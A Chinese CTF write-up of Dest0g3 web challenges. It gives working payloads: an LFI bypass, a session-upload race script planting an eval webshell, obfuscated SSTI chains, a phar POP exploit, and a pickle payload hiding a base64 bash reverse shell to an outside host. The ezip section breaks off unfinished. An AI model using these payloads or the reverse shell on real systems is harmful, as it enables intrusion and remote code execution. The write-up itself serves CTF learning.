最近的大赛很多,但是在群里也不会做,而且事比较多,所以就找点简单的小比赛查漏补缺一下,因为感觉自己基础不是很牢固。
phpdest
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }
require_once跟直接include不一样。
这是PHP 最新版的小 Trick,require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含。
php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)
payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
或者session文件包含:
import requests import io import threading url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/" sessionID = "flag" data = {"cmd": "system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a'*1024*50) resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID}) def read(session): while True: resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data) if 'flag.txt' in resp.text: print(resp.text) event.clear() else: print("=========retry==========") if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in range(1,5): threading.Thread(target=write, args=(session,)).start() for i in range(1,5): threading.Thread(target=read, args=(session,)).start() event.set()
EasyPHP
<?php highlight_file(__FILE__); include "fl4g.php"; $dest0g3 = $_POST['ctf']; $time = date("H"); $timme = date("d"); $timmme = date("i"); if(($time > "24") or ($timme > "31") or ($timmme > "60")){ echo $fl4g; }else{ echo "Try harder!"; } set_error_handler( function() use(&$fl4g) { print $fl4g; } ); $fl4g .= $dest0g3; ?>
没什么好说的,只需要让他报错就能输出flag,这里用数组绕过即可:
ctf[]=123
SimpleRCE
<?php highlight_file(__FILE__); $aaa=$_POST['aaa']; $black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep'); $aaa = str_ireplace($black_list,"hacker",$aaa); eval($aaa); ?>
看起来过滤很多,发现可以hex2bin绕过:
aaa=hex2bin('73797374656d')('head /f*');
本来取反绕过就行,因为没ban ~:
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
但是没回显,后来发现ban了%,怪不得。
funny_upload
又是php伪协议绕过,用.htaccess就行。
我也写过很多次了,这次就萌萌的略过了。
EasySSTI
ban掉了很多东西,反正常规payload我出不来,终于有个好玩一点的了。
这里只能考虑set构造,因为空格和点也都被过滤,但后来发现该题的检测方式是只对payload传入的内容进行检测,所以过滤空格话可以用%0a代替,剩下的就是随着报错随着构造了。
[Dest0g3 520迎新赛] Web部分wp_<?php highlight_file(__file__); require_once 'flag_S1nJa的博客-CSDN博客
MAR & DASCTF 2021 baby_flask_bfengj的博客-CSDN博客
{%%0aset%0apo=dict(po=a,p=a)|join%} {%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%} {%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%} {%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%} {%%0aset%0apo=dict(po=a,pen=a)|join%} {%%0aset%0acat=dict(cat=a)|join%} {%%0aset%0aid=dict(index=a)|join%} {%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%} {%%0aset%0acr=dict(ch=a,r=a)|join%} {%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%} {%%0aset%0axiegang=chr(47)%} {%%0aset%0ard=dict(re=a,ad=a)|join%} {%%0aset%0aspace=chr(32)%0a%} {%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%} {%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}
或者:
{%set%0aid=dict(ind=a,ex=a)|join%}{%set%0app=dict(po=a,p=a)|join%}{%set%0ann=dict(n=a)|join%}{%set%0aenv=dict(env=a)|join%}{%set%0appe=dict(po=a,pen=a)|join%}{%set%0att=dict(t=a)|join%}{%set%0agt=dict(ge=a,t=a)|join%}{%set%0aff=dict(f=a)|join%}{%set%0aooqq=dict(o=a,s=a)|join%}{%set%0afive=(lipsum|string|list)|attr(id)(tt)%}{%set%0ard=dict(re=a,ad=a)|join%}{%set%0athree=(lipsum|string|list)|attr(id)(nn)%}{%set%0aone=(lipsum|string|list)|attr(id)(ff)%}{%set%0ashiba=five*five-three-three-one%}{%set%0axiahuaxian=(lipsum|string|list)|attr(pp)(shiba)%}{%set%0agb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0abin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0aini=(xiahuaxian,xiahuaxian,dict(in=a,it=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0achcr=(lipsum|attr(gb))|attr(gt)(bin)%}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(env)|attr(rd)()}}
环境变量拿下flag。
太狠了。
middle
进去就给flask源码:
import os import config from flask import Flask, request, session, render_template, url_for,redirect,make_response import pickle import io import sys import base64 app = Flask(__name__) class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def show(): base_dir = os.path.dirname(__file__) resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read()) resp.headers["Content-type"] = "text/plain;charset=UTF-8" return resp @app.route('/home', methods=['POST', 'GET']) def home(): data=request.form['data'] User = restricted_loads(base64.b64decode(data)) return str(User) if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000) import os def backdoor(cmd): # 这里我也改了一下 if isinstance(cmd,list) : s=''.join(cmd) print("!!!!!!!!!!") s=eval(s) return s else: print("??????")
尤其是
@app.route('/home', methods=['POST', 'GET']) def home(): data=request.form['data'] User = restricted_loads(base64.b64decode(data)) return str(User)
一眼pickle反序列化,
Python之Pickle反序列化 | 沉铝汤的破站 (chenlvtang.top)
从零开始的pickle反序列化学习 - Cxlover - 博客园 (cnblogs.com)
直接开打:
import base64 payload = b'''cconfig\nbackdoor\n(]S"os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MDg1MiAwPiYx|base64 -d|bash -i')"\natR.''' print(base64.b64encode(payload))
post传一下data:
PharPOP
很典的phar反序列化:
我们需要利用air类中的echo new $p($value);
来执行PHP原生类。
ps.原生类:
DirectoryIterator可以配合glob://协议使用模式匹配来寻找需要的文件
SplFileObject可以读取文件
<?php highlight_file(__FILE__); function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); } } class air{ public $p; public function __set($p, $value) { $p = $this->p->act; echo new $p($value); } } class tree{ public $name; public $act; public function __destruct() { return $this->name(); } public function __call($name, $arg){ $arg[1] =$this->name->$name; } } class apple { public $xxx; public $flag; public function __get($flag) { $this->xxx->$flag = $this->flag; } } class D { public $start; public function __destruct(){ $data = $_POST[0]; if ($this->start == 'w') { waf($data); $filename = "/tmp/".md5(rand()).".jpg"; file_put_contents($filename, $data); echo $filename; } else if ($this->start == 'r') { waf($data); $f = file_get_contents($data); if($f){ echo "It is file"; } else{ echo "You can look at the others"; } } } } class banana { public function __get($name){ return $this->$name; } } // flag in / if(strlen($_POST[1]) < 55) { $a = unserialize($_POST[1]); } else{ echo "str too long"; } throw new Error("start"); ?>
file_get_contents($data)相当于文件上传,传上去后再直接用phar://开读就可以了。
exp:
<?php class air{ public $p; public function __construct() { // $this->p = new tree; } } class tree{ public $name; public $act; public function __construct() { $this->name = new apple; // $this->act = 'FilesystemIterator'; $this->act = 'SplFileObject'; } } class apple { public $xxx; public $flag; public function __construct() { // $this->xxx = new air; // $this->flag = 'glob:///f*'; $this->flag = '/fflaggg'; } } class banana { public function __construct() { $this->name = new air; } } $o = new tree; $o->name->xxx = new air; $o->name->xxx->p = new tree; // echo serialize($o); echo urlencode(serialize($o)); // class D { // public $start = 'r'; // } // $a = new D; // echo serialize($a); // echo "\n"; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER(); \?\>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); // echo urlencode(file_get_contents('234.phar.gz'));
但是这道题还涉及到fast destruct,也就是GC机制。所以我们让它报错以强行先触发destruct,但是phar的签名也发生了变化,就需要再一次的改动。
我原来也贴过两种方法:
这里我选择去掉尾部右花括号 }
然后改签名:
from hashlib import sha1 f = open('phar.phar', 'rb').read() s = f[:-28] h = f[-8:] newf = s + sha1(s).digest() + h open('234.phar', 'wb').write(newf)
而且黑名单我们也看到了,把类名都ban掉了,所以内容上要绕过检测,就需要用gzip来绕过它。
这里本来python可以直接做,但正好开着虚拟机就直接gzip了:
先上传打phar,因为file_put_contents相当于文件上传,先parse一下拿到编码:
import urllib.parse with open("C:\\Users\\75279\\Desktop\\234.phar.gz", 'rb') as fi: f = fi.read() ff = urllib.parse.quote(f) #获取信息 print(ff)
然后直接传参就行。(其实python可以一条龙,其他师傅的wp也有,这里也不献丑了)
POST1:
0=%1F%8B%08%08%B3%2Bpe%00%03234.phar%00%8B%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%D2%60d%60%00%22%06A%06%08%CD%C0%F0%09%88%FD%ADL%AC%94J%8ARS%95%AC%8C%AC%AA%8BA%BC%BC%C4%DCT%25k%7F%2BS%2B%A5%C4%82%82%1C%98%8C%B1%95REE%05H%02%C8J%CC%2CR%B22%04%09%1BZ%29%15%80%04I5%C6%CF%1A%AC%2A-%271%5D%09%C8%B4%B0R%D2O%03q%D2%81%DCZ%B0%B2%C4%E4%12%90%8C%21%90%19%5C%90%E3%96%99%93%EA%9F%94%95%0A%12%AC%AD%25_/%07%D0%D3%25%A9%C5%25z%25%15%25%2C%40%F6A%AD%82T%10%CDSW%7Fc%1B%24%5C%C0%F2%CF%EE%FF%17%CF%7D%FE%F5%25%EF%BF%AD%B3%8E%5ES%0A%28%FC%E3%CE%BC%E9F%11%F7Q%17%8F%5D%3C%8E%97%F9%99%81%EA%DC%9D%7C%9D%00%DF%F1%C9%D7n%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}
POST2:
0=phar:///tmp/3eee03eb860187093bbda6d504cdeab2.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}
结果错了:
一看SHA256,我就明白了,因为做过一道pharpop,最后是SHA256加密才能出,这里具体原因不知道,如果有明白的师傅看到能给我解惑就更好了....
再来一遍:
POST2:
0=phar:///tmp/e763fbc2a6987d8b03a0f128481372bf.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}
爽了。
ezip
牛魔,一打开就是个瑟图。
难绷,我怕过不了审,就不放了。
结果upload的源码藏在瑟图里,6。
最后藏了个base64:
upload.php:
<?php error_reporting(0); include("zip.php"); if(isset($_FILES['file']['name'])){ if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){ echo "hacker!!"; exit; } if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){ echo "only zip!!"; exit; } $Myzip = new zip($_FILES['file']['name']); mkdir($Myzip->path); move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']); echo "Try to unzip your zip to /".$Myzip->path."<br>"; if($Myzip->unzip()){echo "Success";}else{echo "failed";} }
zip.php:
<?php class zip { public $zip_name; public $path; public $zip_manager; public function __construct($zip_name){ $this->zip_manager = new ZipArchive(); $this->path = $this->gen_path(); $this->zip_name = $zip_name; } public function gen_path(){ $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $newchars=str_split($chars); shuffle($newchars); $chars_key=array_rand($newchars,15); $fnstr = ""; for($i=0;$i<15;$i++){ $fnstr.=$newchars[$chars_key[$i]]; } return md5($fnstr.time().microtime()*100000); } public function deldir($dir) { //å å é¤ç®å½ä¸çæä»¶ï¼ $dh = opendir($dir); while ($file = readdir($dh)) { if($file != "." && $file!="..") { $fullpath = $dir."/".$file; if(!is_dir($fullpath)) { unlink($fullpath); } else { $this->deldir($fullpath); } } } closedir($dh); } function dir_list($directory) { $array = []; $dir = dir($directory); while ($file = $dir->read()) { if ($file !== '.' && $file !== '..') { $array[] = $file; } } return $array; } public function unzip() { $fullpath = "/var/www/html/".$this->path."/".$this->zip_name; $white_list = ['jpg','png','gif','bmp']; $this->zip_manager->open($fullpath); for ($i = 0;$i < $this->zip_manager->count();$i ++) { if (strstr($this->zip_manager->getNameIndex($i),"../")){ echo "you bad bad"; return false; } } if(!$this->zip_manager->extractTo($this->path)){ echo "Unzip to /".$this->path."/ failed"; exit; } @unlink($fullpath); $file_list = $this->dir_list("/var/www/html/".$this->path."/"); for($i=0;$i<sizeof($file_list);$i++){ if(is_dir($this->path."/".$file_list[$i])){ echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]); } else{ if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);} } } return true; } }
遇到上传zip,前面0xGame遇到过一个用软链接直接指向根目录的做法,但是这道题好像没有回显出来,所以这个方法就放着了。
后面又想到前面组会小姐姐讲过zip,有点印象,虽然对这道题好像也没什么实质性帮助,也许是我忘了吧wwww
其实这道直接写个
标签:__,web,Dest0g3,echo,file,wp,import,payload,name From: https://www.cnblogs.com/EddieMurphy-blogs/p/17868286.html